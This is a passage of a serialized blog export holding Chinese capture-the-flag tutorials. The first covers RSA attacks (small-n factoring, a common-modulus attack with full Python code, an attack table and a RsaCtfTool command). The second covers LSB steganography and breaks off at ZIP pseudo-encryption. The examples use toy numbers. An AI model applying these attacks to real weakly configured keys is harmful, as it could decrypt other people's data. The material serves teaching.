65\n",[52,10772,10770],{"__ignoreMap":102},[15,10774,10775,10776,10779],{},"攻击者只有 ",[52,10777,10778],{},"(n=3233, e=17, c=2790)","，没有 d。要解密，第一步就是分解 n。",[10,10781,10783],{"id":10782},"五核心步骤-2小-n-分解","五、核心步骤 2：小 n 分解",[15,10785,10786,10788],{},[316,10787,318],{},"：拿到公钥后第一步永远是\"尝试分解 n\"——一旦分解成功，私钥直接可算。",[15,10790,10791,10793],{},[316,10792,385],{},"：n 小 → 本地工具直接分解；n 大 → 先查 FactorDB 是否有人分解过。分解出 p、q 后按公式算出 d 解密。",[309,10795,10797],{"id":10796},"_51-用-sympy-分解","5.1 用 sympy 分解",[97,10799,10801],{"className":99,"code":10800,"language":101,"meta":102,"style":102},"from sympy import factorint\n\nprint(factorint(3233))\n",[52,10802,10803,10808,10812],{"__ignoreMap":102},[106,10804,10805],{"class":108,"line":109},[106,10806,10807],{},"from sympy import factorint\n",[106,10809,10810],{"class":108,"line":115},[106,10811,125],{"emptyLinePlaceholder":124},[106,10813,10814],{"class":108,"line":121},[106,10815,10816],{},"print(factorint(3233))\n",[15,10818,209],{},[97,10820,10823],{"className":10821,"code":10822,"language":215,"meta":102},[213],"{53: 1, 61: 1}\n",[52,10824,10822],{"__ignoreMap":102},[15,10826,10827,10828,643],{},"得到 ",[52,10829,10830],{},"p=53, q=61",[309,10832,10834],{"id":10833},"_52-完整解密验证公式","5.2 完整解密（验证公式）",[15,10836,10837,10839],{},[316,10838,385],{},"：分解得到 p、q → 算 φ(n) → 算 d → pow(c,d,n) → long_to_bytes 转回文本。",[97,10841,10843],{"className":99,"code":10842,"language":101,"meta":102,"style":102},"from Crypto.Util.number import long_to_bytes\n# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n\nn = 3233\ne = 17\nc = 2790\np, q = 53, 61\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nm = pow(c, d, n)\n# 解密：m = c^d mod n。\n\nprint(\"m =\", m)\nprint(long_to_bytes(m))\n# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[52,10844,10845,10850,10855,10859,10864,10869,10874,10879,10883,10887,10891,10896,10901,10905,10910,10915,10920],{"__ignoreMap":102},[106,10846,10847],{"class":108,"line":109},[106,10848,10849],{},"from Crypto.Util.number import long_to_bytes\n",[106,10851,10852],{"class":108,"line":115},[106,10853,10854],{},"# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n",[106,10856,10857],{"class":108,"line":121},[106,10858,125],{"emptyLinePlaceholder":124},[106,10860,10861],{"class":108,"line":128},[106,10862,10863],{},"n = 3233\n",[106,10865,10866],{"class":108,"line":134},[106,10867,10868],{},"e = 17\n",[106,10870,10871],{"class":108,"line":140},[106,10872,10873],{},"c = 2790\n",[106,10875,10876],{"class":108,"line":146},[106,10877,10878],{},"p, q = 53, 61\n",[106,10880,10881],{"class":108,"line":151},[106,10882,125],{"emptyLinePlaceholder":124},[106,10884,10885],{"class":108,"line":157},[106,10886,10700],{},[106,10888,10889],{"class":108,"line":163},[106,10890,10710],{},[106,10892,10893],{"class":108,"line":169},[106,10894,10895],{},"m = pow(c, d, n)\n",[106,10897,10898],{"class":108,"line":174},[106,10899,10900],{},"# 解密：m = c^d mod n。\n",[106,10902,10903],{"class":108,"line":180},[106,10904,125],{"emptyLinePlaceholder":124},[106,10906,10907],{"class":108,"line":186},[106,10908,10909],{},"print(\"m =\", m)\n",[106,10911,10912],{"class":108,"line":192},[106,10913,10914],{},"print(long_to_bytes(m))\n",[106,10916,10917],{"class":108,"line":197},[106,10918,10919],{},"# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n",[106,10921,10922],{"class":108,"line":203},[106,10923,10924],{},"# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[15,10926,209],{},[97,10928,10931],{"className":10929,"code":10930,"language":215,"meta":102},[213],"m = 65\nb'A'\n",[52,10932,10930],{"__ignoreMap":102},[15,10934,10935,10938,10939,10941],{},[52,10936,10937],{},"65"," 对应的 ASCII 字符是 ",[52,10940,2930],{},"。真实的明文是 flag 对应的长整数，但解密公式完全相同。",[309,10943,10945],{"id":10944},"_53-用-factordb-查","5.3 用 FactorDB 查",[15,10947,10948,10949,10953],{},"如果 n 太大本地分解不动，去 ",[287,10950,10951],{"href":10951,"rel":10952},"https://factordb.com",[291]," 粘贴 n 查询，或：",[97,10955,10957],{"className":99,"code":10956,"language":101,"meta":102,"style":102},"from factordb.factordb import FactorDB\n\nf = FactorDB(n)\nf.connect()\np, q = f.get_factor_list()\n",[52,10958,10959,10964,10968,10973,10978],{"__ignoreMap":102},[106,10960,10961],{"class":108,"line":109},[106,10962,10963],{},"from factordb.factordb import FactorDB\n",[106,10965,10966],{"class":108,"line":115},[106,10967,125],{"emptyLinePlaceholder":124},[106,10969,10970],{"class":108,"line":121},[106,10971,10972],{},"f = FactorDB(n)\n",[106,10974,10975],{"class":108,"line":128},[106,10976,10977],{},"f.connect()\n",[106,10979,10980],{"class":108,"line":134},[106,10981,10982],{},"p, q = f.get_factor_list()\n",[10,10984,10986],{"id":10985},"六核心步骤-3共模攻击","六、核心步骤 3：共模攻击",[309,10988,10990],{"id":10989},"_61-场景","6.1 场景",[15,10992,10993,10994,10996,10997,11000],{},"同一个 ",[52,10995,10608],{},"、两个互质的 ",[52,10998,10999],{},"e1, e2","、同一明文：",[97,11002,11005],{"className":11003,"code":11004,"language":215,"meta":102},[213],"c1 = m^e1 mod n\nc2 = m^e2 mod n\n",[52,11006,11004],{"__ignoreMap":102},[309,11008,11010],{"id":11009},"_62-数学原理","6.2 数学原理",[15,11012,11013,11015],{},[316,11014,318],{},"：理解为什么\"两个密文能拼出明文\"。",[15,11017,11018,11020],{},[316,11019,385],{},"：扩展欧几里得求出 a、b 使 a×e1+b×e2=1；把两个密文分别取 a、b 次方再相乘，指数恰好合并成 1，明文就还原了。验证方式：恢复结果与原始 m 相等。",[15,11022,11023,11024,11027],{},"扩展欧几里得算法求出 ",[52,11025,11026],{},"a, b"," 使：",[97,11029,11032],{"className":11030,"code":11031,"language":215,"meta":102},[213],"a × e1 + b × e2 = 1\n",[52,11033,11031],{"__ignoreMap":102},[15,11035,11036],{},"则：",[97,11038,11041],{"className":11039,"code":11040,"language":215,"meta":102},[213],"c1^a × c2^b\n= m^(a×e1) × m^(b×e2)\n= m^(a×e1 + b×e2)\n= m^1 = m (mod n)\n",[52,11042,11040],{"__ignoreMap":102},[309,11044,11046],{"id":11045},"_63-完整代码","6.3 完整代码",[97,11048,11050],{"className":99,"code":11049,"language":101,"meta":102,"style":102},"def egcd(a, b):\n    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n    if b == 0:\n        return a, 1, 0\n    g, x, y = egcd(b, a % b)\n    return g, y, x - (a // b) * y\n\nn = 3233\ne1, e2 = 17, 19\nm = 65\nc1 = pow(m, e1, n)      # 2790：e1 加密结果\nc2 = pow(m, e2, n)      # 232：e2 加密结果\n\n_, a, b = egcd(e1, e2)\n# 忽略第一个返回值（gcd=1），取 a、b。\nprint(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n\n# 负指数要先取模逆元\nif a \u003C 0:\n    c1 = pow(pow(c1, -1, n), -a, n)\n    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\nelse:\n    c1 = pow(c1, a, n)\nif b \u003C 0:\n    c2 = pow(pow(c2, -1, n), -b, n)\nelse:\n    c2 = pow(c2, b, n)\n\nrecovered = (c1 * c2) % n\n# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\nprint(\"恢复 m =\", recovered)\n# 预期 65，与原始 m 相等，攻击成功。\n",[52,11051,11052,11057,11062,11067,11072,11077,11082,11086,11090,11095,11099,11104,11109,11113,11118,11123,11128,11133,11137,11142,11147,11152,11157,11162,11167,11172,11177,11181,11186,11190,11195,11200,11205],{"__ignoreMap":102},[106,11053,11054],{"class":108,"line":109},[106,11055,11056],{},"def egcd(a, b):\n",[106,11058,11059],{"class":108,"line":115},[106,11060,11061],{},"    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n",[106,11063,11064],{"class":108,"line":121},[106,11065,11066],{},"    if b == 0:\n",[106,11068,11069],{"class":108,"line":128},[106,11070,11071],{},"        return a, 1, 0\n",[106,11073,11074],{"class":108,"line":134},[106,11075,11076],{},"    g, x, y = egcd(b, a % b)\n",[106,11078,11079],{"class":108,"line":140},[106,11080,11081],{},"    return g, y, x - (a // b) * y\n",[106,11083,11084],{"class":108,"line":146},[106,11085,125],{"emptyLinePlaceholder":124},[106,11087,11088],{"class":108,"line":151},[106,11089,10863],{},[106,11091,11092],{"class":108,"line":157},[106,11093,11094],{},"e1, e2 = 17, 19\n",[106,11096,11097],{"class":108,"line":163},[106,11098,10724],{},[106,11100,11101],{"class":108,"line":169},[106,11102,11103],{},"c1 = pow(m, e1, n)      # 2790：e1 加密结果\n",[106,11105,11106],{"class":108,"line":174},[106,11107,11108],{},"c2 = pow(m, e2, n)      # 232：e2 加密结果\n",[106,11110,11111],{"class":108,"line":180},[106,11112,125],{"emptyLinePlaceholder":124},[106,11114,11115],{"class":108,"line":186},[106,11116,11117],{},"_, a, b = egcd(e1, e2)\n",[106,11119,11120],{"class":108,"line":192},[106,11121,11122],{},"# 忽略第一个返回值（gcd=1），取 a、b。\n",[106,11124,11125],{"class":108,"line":197},[106,11126,11127],{},"print(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n",[106,11129,11130],{"class":108,"line":203},[106,11131,11132],{},"# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n",[106,11134,11135],{"class":108,"line":770},[106,11136,125],{"emptyLinePlaceholder":124},[106,11138,11139],{"class":108,"line":775},[106,11140,11141],{},"# 负指数要先取模逆元\n",[106,11143,11144],{"class":108,"line":781},[106,11145,11146],{},"if a \u003C 0:\n",[106,11148,11149],{"class":108,"line":787},[106,11150,11151],{},"    c1 = pow(pow(c1, -1, n), -a, n)\n",[106,11153,11154],{"class":108,"line":793},[106,11155,11156],{},"    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\n",[106,11158,11159],{"class":108,"line":799},[106,11160,11161],{},"else:\n",[106,11163,11164],{"class":108,"line":805},[106,11165,11166],{},"    c1 = pow(c1, a, n)\n",[106,11168,11169],{"class":108,"line":4548},[106,11170,11171],{},"if b \u003C 0:\n",[106,11173,11174],{"class":108,"line":4553},[106,11175,11176],{},"    c2 = pow(pow(c2, -1, n), -b, n)\n",[106,11178,11179],{"class":108,"line":4559},[106,11180,11161],{},[106,11182,11183],{"class":108,"line":4565},[106,11184,11185],{},"    c2 = pow(c2, b, n)\n",[106,11187,11188],{"class":108,"line":4570},[106,11189,125],{"emptyLinePlaceholder":124},[106,11191,11192],{"class":108,"line":4576},[106,11193,11194],{},"recovered = (c1 * c2) % n\n",[106,11196,11197],{"class":108,"line":4582},[106,11198,11199],{},"# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\n",[106,11201,11202],{"class":108,"line":4588},[106,11203,11204],{},"print(\"恢复 m =\", recovered)\n",[106,11206,11207],{"class":108,"line":4594},[106,11208,11209],{},"# 预期 65，与原始 m 相等，攻击成功。\n",[15,11211,209],{},[97,11213,11216],{"className":11214,"code":11215,"language":215,"meta":102},[213],"a = 9 b = -8 a*e1+b*e2 = 1\n恢复 m = 65\n",[52,11217,11215],{"__ignoreMap":102},[10,11219,11221],{"id":11220},"七其他常见攻击速查","七、其他常见攻击速查",[19,11223,11224,11234],{},[22,11225,11226],{},[25,11227,11228,11231],{},[28,11229,11230],{},"场景",[28,11232,11233],{},"攻击",[38,11235,11236,11254,11262,11270,11278],{},[25,11237,11238,11247],{},[43,11239,11240,11243,11244],{},[52,11241,11242],{},"e=3"," 且 ",[52,11245,11246],{},"m^e \u003C n",[43,11248,11249,11250,11253],{},"直接开立方根（",[52,11251,11252],{},"gmpy2.iroot(c, 3)","）",[25,11255,11256,11259],{},[43,11257,11258],{},"同一明文发给 3 个不同 n",[43,11260,11261],{},"Håstad 广播攻击（中国剩余定理 + 开方）",[25,11263,11264,11267],{},[43,11265,11266],{},"e 特别大（d 很小）",[43,11268,11269],{},"Wiener 攻击（连分数）",[25,11271,11272,11275],{},[43,11273,11274],{},"p、q 很接近",[43,11276,11277],{},"Fermat 分解（平方差）",[25,11279,11280,11283],{},[43,11281,11282],{},"泄露 dp",[43,11284,11285,11286],{},"枚举 k，",[52,11287,11288],{},"p = (e*dp-1)//k + 1",[10,11290,3038],{"id":3037},[19,11292,11293,11303],{},[22,11294,11295],{},[25,11296,11297,11299,11301],{},[28,11298,2075],{},[28,11300,3049],{},[28,11302,3052],{},[38,11304,11305,11323,11339],{},[25,11306,11307,11310,11321],{},[43,11308,11309],{},"pycryptodome",[43,11311,11312,1311,11315,1311,11318],{},[52,11313,11314],{},"long_to_bytes",[52,11316,11317],{},"inverse",[52,11319,11320],{},"pow(m,e,n)",[43,11322,3081],{},[25,11324,11325,11328,11334],{},[43,11326,11327],{},"sympy",[43,11329,11330,11333],{},[52,11331,11332],{},"factorint"," 分解",[43,11335,11336],{},[52,11337,11338],{},"factorint(3233)",[25,11340,11341,11344,11347],{},[43,11342,11343],{},"RsaCtfTool",[43,11345,11346],{},"自动尝试多种攻击、从公钥文件读取",[43,11348,11349],{},[52,11350,11351],{},"./RsaCtfTool.py -n N -e E --uncipher C --attack all",[15,11353,11354,11355,11360],{},"FactorDB（",[287,11356,11359],{"href":11357,"rel":11358},"https://factordb.com%EF%BC%89%E7%94%A8%E4%BA%8E%E6%9F%A5",[291],"https://factordb.com）用于查"," n 的已知分解。",[10,11362,10460],{"id":10459},[15,11364,2164],{},[97,11366,11369],{"className":11367,"code":11368,"language":215,"meta":102},[213],"n = 1000000016000000063\ne = 65537\nc = 856868007642616233\n",[52,11370,11368],{"__ignoreMap":102},[15,11372,11373],{},"说明：真实题目的 n 有数百位，这里为了能在本地秒级分解，使用 19 位 n；分解方法完全一致。",[309,11375,11377],{"id":11376},"第一步分解","第一步：分解",[15,11379,11380,11382],{},[316,11381,385],{},"：n 只有 19 位，sympy 的 factorint 用试除/快速算法秒级分解；若 n 更大，改用 yafu 或查 FactorDB。",[97,11384,11386],{"className":99,"code":11385,"language":101,"meta":102,"style":102},"from sympy import factorint\nprint(factorint(1000000016000000063))\n",[52,11387,11388,11392],{"__ignoreMap":102},[106,11389,11390],{"class":108,"line":109},[106,11391,10807],{},[106,11393,11394],{"class":108,"line":115},[106,11395,11396],{},"print(factorint(1000000016000000063))\n",[15,11398,209],{},[97,11400,11403],{"className":11401,"code":11402,"language":215,"meta":102},[213],"{1000000007: 1, 1000000009: 1}\n",[52,11404,11402],{"__ignoreMap":102},[309,11406,11408],{"id":11407},"第二步解密","第二步：解密",[15,11410,11411,11413,11414,11417],{},[316,11412,385],{},"：与 5.2 完全相同的公式，只是参数换成实际值；输出 ",[52,11415,11416],{},"b'flag'"," 说明解密成功。",[97,11419,11421],{"className":99,"code":11420,"language":101,"meta":102,"style":102},"from Crypto.Util.number import long_to_bytes\n\nn = 1000000016000000063\ne = 65537\nc = 856868007642616233\np, q = 1000000007, 1000000009\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nprint(long_to_bytes(pow(c, d, n)))\n",[52,11422,11423,11427,11431,11436,11441,11446,11451,11455,11459,11463],{"__ignoreMap":102},[106,11424,11425],{"class":108,"line":109},[106,11426,10849],{},[106,11428,11429],{"class":108,"line":115},[106,11430,125],{"emptyLinePlaceholder":124},[106,11432,11433],{"class":108,"line":121},[106,11434,11435],{},"n = 1000000016000000063\n",[106,11437,11438],{"class":108,"line":128},[106,11439,11440],{},"e = 65537\n",[106,11442,11443],{"class":108,"line":134},[106,11444,11445],{},"c = 856868007642616233\n",[106,11447,11448],{"class":108,"line":140},[106,11449,11450],{},"p, q = 1000000007, 1000000009\n",[106,11452,11453],{"class":108,"line":146},[106,11454,125],{"emptyLinePlaceholder":124},[106,11456,11457],{"class":108,"line":151},[106,11458,10700],{},[106,11460,11461],{"class":108,"line":157},[106,11462,10710],{},[106,11464,11465],{"class":108,"line":163},[106,11466,11467],{},"print(long_to_bytes(pow(c, d, n)))\n",[15,11469,209],{},[97,11471,11474],{"className":11472,"code":11473,"language":215,"meta":102},[213],"b'flag'\n",[52,11475,11473],{"__ignoreMap":102},[309,11477,11479],{"id":11478},"第三步工具验证","第三步：工具验证",[97,11481,11483],{"className":259,"code":11482,"language":261,"meta":102,"style":102},"./RsaCtfTool.py -n 1000000016000000063 -e 65537 --uncipher 856868007642616233 --attack all\n",[52,11484,11485],{"__ignoreMap":102},[106,11486,11487,11490,11492,11495,11497,11500,11503,11506,11509],{"class":108,"line":109},[106,11488,11489],{"class":268},"./RsaCtfTool.py",[106,11491,1289],{"class":515},[106,11493,11494],{"class":515}," 1000000016000000063",[106,11496,4367],{"class":515},[106,11498,11499],{"class":515}," 65537",[106,11501,11502],{"class":515}," --uncipher",[106,11504,11505],{"class":515}," 856868007642616233",[106,11507,11508],{"class":515}," --attack",[106,11510,11511],{"class":272}," all\n",[10,11513,3231],{"id":3230},[15,11515,11516,11517,11520],{},"RSA 解题顺序：",[316,11518,11519],{},"先查 n 能否分解（FactorDB/sympy）→ 能分解就按公式解密 → 不能分解就检查共模、低指数、Wiener、Fermat 等结构性错误","。每个攻击对应一种\"实现错误\"，识别特征后套模板即可。",[1050,11522,1052],{},{"title":102,"searchDepth":115,"depth":115,"links":11524},[11525,11526,11527,11528,11529,11530,11531,11532,11533,11534],{"id":10572,"depth":121,"text":10573},{"id":255,"depth":121,"text":256},{"id":10636,"depth":121,"text":10637},{"id":10664,"depth":121,"text":10665},{"id":10782,"depth":121,"text":10783},{"id":10985,"depth":121,"text":10986},{"id":11220,"depth":121,"text":11221},{"id":3037,"depth":121,"text":3038},{"id":10459,"depth":121,"text":10460},{"id":3230,"depth":121,"text":3231},"RSA的DH 与公钥密码学背景、数论公式与小数字手算、小 n 分解解密、共模攻击的数学推导与代码。",{"date":1066,"image":8423,"alt":11537,"tags":11538,"published":124},"RSA 深入实战",[1070,1071,11539,1072],"rsa","/blogs/ctf-crypto-rsa-deep-dive",{"title":10567,"description":11535},"blogs/19. ctf-crypto-rsa-deep-dive","cUGS-VePAPrg-FWNvg-OJ725RRZNhFybQstAdcvf9qo",{"id":11545,"title":11546,"body":11547,"description":12557,"extension":1064,"meta":12558,"navigation":124,"ogImage":3261,"path":12562,"seo":12563,"stem":12564,"__hash__":12565},"content/blogs/20. ctf-misc-stego-forensics-deep-dive.md","隐写与取证深入实战：LSB 隐写与 ZIP 伪加密",{"type":7,"value":11548,"toc":12547},[11549,11553,11559,11561,11595,11599,11603,11606,11612,11616,11621,11768,11778,11782,11787,11792,11895,11897,11902,11906,11919,11925,11929,11934,11939,11943,11946,11952,11959,11963,11968,12006,12008,12014,12017,12023,12027,12032,12089,12092,12098,12101,12139,12141,12147,12150,12154,12163,12218,12220,12226,12233,12237,12242,12247,12250,12348,12355,12361,12372,12374,12439,12443,12448,12453,12457,12459,12499,12502,12507,12513,12528,12531,12533,12544],[10,11550,11552],{"id":11551},"一现实背景文件头与压缩包","一、现实背景：文件头与压缩包",[15,11554,11555,11556,11558],{},"文件真实类型由文件头决定。ZIP 文件头是 ",[52,11557,4122],{},"，其内部结构里有\"加密标志位\"，出题人可以把标志位置 1 制造\"伪加密\"（数据其实没加密）。图片取证中，LSB 隐写把秘密藏在像素最低位。本文完整实现这两种技术。",[10,11560,256],{"id":255},[97,11562,11564],{"className":259,"code":11563,"language":261,"meta":102,"style":102},"apt install file binutils binwalk\npip3 install pillow\ngem install zsteg\n",[52,11565,11566,11579,11587],{"__ignoreMap":102},[106,11567,11568,11570,11572,11574,11576],{"class":108,"line":109},[106,11569,1158],{"class":268},[106,11571,273],{"class":272},[106,11573,1163],{"class":272},[106,11575,1166],{"class":272},[106,11577,11578],{"class":272}," binwalk\n",[106,11580,11581,11583,11585],{"class":108,"line":115},[106,11582,269],{"class":268},[106,11584,273],{"class":272},[106,11586,4162],{"class":272},[106,11588,11589,11591,11593],{"class":108,"line":121},[106,11590,4806],{"class":268},[106,11592,273],{"class":272},[106,11594,4811],{"class":272},[10,11596,11598],{"id":11597},"三核心技能-1lsb-隐写完整实现","三、核心技能 1：LSB 隐写（完整实现）",[309,11600,11602],{"id":11601},"_31-原理","3.1 原理",[15,11604,11605],{},"像素每个通道 1 字节（0-255）。把字节最低位替换成秘密比特，值最多变化 1，肉眼不可察觉：",[97,11607,11610],{"className":11608,"code":11609,"language":215,"meta":102},[213],"原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101   ← 最低位写入 1,0,1\n",[52,11611,11609],{"__ignoreMap":102},[309,11613,11615],{"id":11614},"_32-隐藏出题人视角","3.2 隐藏（出题人视角）",[15,11617,11618,11620],{},[316,11619,318],{},"：理解\"把秘密写进像素最低位\"的实现细节，才能反过来写出提取脚本。",[97,11622,11624],{"className":99,"code":11623,"language":101,"meta":102,"style":102},"from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\nbits = ''.join(f'{b:08b}' for b in data)\n# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\npixels = list(img.getdata())\n# getdata()：取出所有像素，每项是 (r,g,b)。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道，同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n    new_pixels.append((r, g, b))\n\nimg.putdata(new_pixels)\n# putdata()：把修改后的像素写回图片。\nimg.save('hidden.png')\n# save()：保存为 PNG。\nprint(\"已生成 hidden.png\")\n",[52,11625,11626,11630,11635,11639,11643,11648,11652,11656,11660,11665,11669,11674,11678,11683,11687,11691,11695,11699,11703,11707,11712,11716,11720,11725,11729,11733,11738,11742,11746,11750,11755,11759,11764],{"__ignoreMap":102},[106,11627,11628],{"class":108,"line":109},[106,11629,4433],{},[106,11631,11632],{"class":108,"line":115},[106,11633,11634],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n",[106,11636,11637],{"class":108,"line":121},[106,11638,125],{"emptyLinePlaceholder":124},[106,11640,11641],{"class":108,"line":128},[106,11642,4447],{},[106,11644,11645],{"class":108,"line":134},[106,11646,11647],{},"# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\n",[106,11649,11650],{"class":108,"line":140},[106,11651,4462],{},[106,11653,11654],{"class":108,"line":146},[106,11655,125],{"emptyLinePlaceholder":124},[106,11657,11658],{"class":108,"line":151},[106,11659,4471],{},[106,11661,11662],{"class":108,"line":157},[106,11663,11664],{},"# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\n",[106,11666,11667],{"class":108,"line":163},[106,11668,4486],{},[106,11670,11671],{"class":108,"line":169},[106,11672,11673],{},"# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\n",[106,11675,11676],{"class":108,"line":174},[106,11677,4501],{},[106,11679,11680],{"class":108,"line":180},[106,11681,11682],{},"# getdata()：取出所有像素，每项是 (r,g,b)。\n",[106,11684,11685],{"class":108,"line":186},[106,11686,125],{"emptyLinePlaceholder":124},[106,11688,11689],{"class":108,"line":192},[106,11690,4515],{},[106,11692,11693],{"class":108,"line":197},[106,11694,4520],{},[106,11696,11697],{"class":108,"line":203},[106,11698,4525],{},[106,11700,11701],{"class":108,"line":770},[106,11702,4530],{},[106,11704,11705],{"class":108,"line":775},[106,11706,4535],{},[106,11708,11709],{"class":108,"line":781},[106,11710,11711],{},"        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n",[106,11713,11714],{"class":108,"line":787},[106,11715,4530],{},[106,11717,11718],{"class":108,"line":793},[106,11719,4556],{},[106,11721,11722],{"class":108,"line":799},[106,11723,11724],{},"        # 绿色通道，同样处理。\n",[106,11726,11727],{"class":108,"line":805},[106,11728,4530],{},[106,11730,11731],{"class":108,"line":4548},[106,11732,4573],{},[106,11734,11735],{"class":108,"line":4553},[106,11736,11737],{},"        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n",[106,11739,11740],{"class":108,"line":4559},[106,11741,4585],{},[106,11743,11744],{"class":108,"line":4565},[106,11745,125],{"emptyLinePlaceholder":124},[106,11747,11748],{"class":108,"line":4570},[106,11749,4602],{},[106,11751,11752],{"class":108,"line":4576},[106,11753,11754],{},"# putdata()：把修改后的像素写回图片。\n",[106,11756,11757],{"class":108,"line":4582},[106,11758,4614],{},[106,11760,11761],{"class":108,"line":4588},[106,11762,11763],{},"# save()：保存为 PNG。\n",[106,11765,11766],{"class":108,"line":4594},[106,11767,4626],{},[15,11769,11770,11772,11773,4636,11775,11777],{},[52,11771,4631],{}," 清零最低位（",[52,11774,4635],{},[52,11776,4639],{}," 写入。",[309,11779,11781],{"id":11780},"_33-提取解题视角","3.3 提取（解题视角）",[15,11783,11784,11786],{},[316,11785,318],{},"：把像素最低位收集起来，每 8 位一组还原成字节，得到隐藏消息。",[15,11788,11789,11791],{},[316,11790,385],{},"：读取像素 → 依次取 R、G、B 最低位 → 8 位拼 1 字节 → 遇到 0 结束。",[97,11793,11795],{"className":99,"code":11794,"language":101,"meta":102,"style":102},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # 每 8 个比特一组，步长为 8。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移 1 位再或上当前比特，等价于二进制拼接。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串解码成字符串。\n",[52,11796,11797,11801,11805,11809,11814,11818,11822,11826,11831,11835,11839,11843,11848,11852,11856,11860,11865,11869,11874,11878,11882,11886,11890],{"__ignoreMap":102},[106,11798,11799],{"class":108,"line":109},[106,11800,4433],{},[106,11802,11803],{"class":108,"line":115},[106,11804,125],{"emptyLinePlaceholder":124},[106,11806,11807],{"class":108,"line":121},[106,11808,4672],{},[106,11810,11811],{"class":108,"line":128},[106,11812,11813],{},"# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\n",[106,11815,11816],{"class":108,"line":134},[106,11817,4687],{},[106,11819,11820],{"class":108,"line":140},[106,11821,4692],{},[106,11823,11824],{"class":108,"line":146},[106,11825,4697],{},[106,11827,11828],{"class":108,"line":151},[106,11829,11830],{},"    # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n",[106,11832,11833],{"class":108,"line":157},[106,11834,125],{"emptyLinePlaceholder":124},[106,11836,11837],{"class":108,"line":163},[106,11838,4716],{},[106,11840,11841],{"class":108,"line":169},[106,11842,4721],{},[106,11844,11845],{"class":108,"line":174},[106,11846,11847],{},"    # 每 8 个比特一组，步长为 8。\n",[106,11849,11850],{"class":108,"line":180},[106,11851,4731],{},[106,11853,11854],{"class":108,"line":186},[106,11855,4736],{},[106,11857,11858],{"class":108,"line":192},[106,11859,4741],{},[106,11861,11862],{"class":108,"line":197},[106,11863,11864],{},"        # 左移 1 位再或上当前比特，等价于二进制拼接。\n",[106,11866,11867],{"class":108,"line":203},[106,11868,4756],{},[106,11870,11871],{"class":108,"line":770},[106,11872,11873],{},"        # 字节 0 是隐藏时追加的结束符。\n",[106,11875,11876],{"class":108,"line":775},[106,11877,463],{},[106,11879,11880],{"class":108,"line":781},[106,11881,4770],{},[106,11883,11884],{"class":108,"line":787},[106,11885,125],{"emptyLinePlaceholder":124},[106,11887,11888],{"class":108,"line":793},[106,11889,4779],{},[106,11891,11892],{"class":108,"line":799},[106,11893,11894],{},"# decode()：字节串解码成字符串。\n",[15,11896,209],{},[97,11898,11900],{"className":11899,"code":4790,"language":215,"meta":102},[213],[52,11901,4790],{"__ignoreMap":102},[309,11903,11905],{"id":11904},"_34-工具验证","3.4 工具验证",[97,11907,11909],{"className":259,"code":11908,"language":261,"meta":102,"style":102},"zsteg -a hidden.png\n",[52,11910,11911],{"__ignoreMap":102},[106,11912,11913,11915,11917],{"class":108,"line":109},[106,11914,4816],{"class":268},[106,11916,4819],{"class":515},[106,11918,4192],{"class":272},[15,11920,11921,11922,643],{},"预期输出中包含 ",[52,11923,11924],{},"flag{lsb_steganography}",[10,11926,11928],{"id":11927},"四核心技能-2zip-伪加密完整实现","四、核心技能 2：ZIP 伪加密（完整实现）",[15,11930,11931,11933],{},[316,11932,318],{},"：理解 